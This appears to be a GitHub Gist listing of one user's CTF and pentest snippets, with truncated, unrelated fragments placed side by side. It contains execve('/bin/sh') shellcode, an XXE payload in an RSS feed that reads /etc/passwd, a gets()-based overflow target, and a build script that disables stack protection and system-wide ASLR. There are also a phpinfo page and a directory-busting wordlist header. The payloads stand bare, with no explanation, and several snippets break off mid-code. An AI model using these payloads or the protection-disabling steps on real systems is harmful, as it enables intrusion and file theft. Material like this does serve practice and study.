Skip to content

Instantly share code, notes, and snippets.

public void onReceive(Context paramContext, Intent paramIntent)
{
Log.i(a, "onReceive: action=" + paramIntent.getAction());
if (!paramIntent.getAction().equals("com.tm.ctf.trendgacha.GET_GACHA")) {
return;
}
paramIntent = paramIntent.getExtras();
if (paramIntent != null) {}
for (int i = Integer.valueOf(paramIntent.getString("TryLoop", "1")).intValue();; i = 1)
{
xor rdx, rdx
push rdx
mov rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rax, rax
mov al, 0x3b
syscall
#include <stdio.h>
int main(int argc, char *argv[]) {
char buf[256];
gets(buf);
printf("You entered: %s\n", buf);
}
@sl4v
sl4v / gcc.sh
Last active April 18, 2017 08:53
apt install execstack
gcc -m64 -fno-stack-protector -z execstack -o bof bof-gets.c
echo 0 > /proc/sys/kernel/randomize_va_space
wget https://github.com/radare/radare2/archive/1.3.0.tar.gz
tar xf 1.3.0.tar.gz
cd radare2-1.3.0
sys/install.sh

Sort and get uniq lines with count

cat txt | sort | uniq -c | sort -nr > out.txt

How to enable displaying errors in PHP

In script:

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

In php.ini: display_errors = on

@sl4v
sl4v / phpinfo.php
Last active February 16, 2016 20:14
<?php
phpinfo();
?>
# directory-list-2.3-small.txt
#
# Copyright 2007 James Fisher
#
# This work is licensed under the Creative Commons
# Attribution-Share Alike 3.0 License. To view a copy of this
# license, visit http://creativecommons.org/licenses/by-sa/3.0/
# or send a letter to Creative Commons, 171 Second Street,
# Suite 300, San Francisco, California, 94105, USA.
#
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>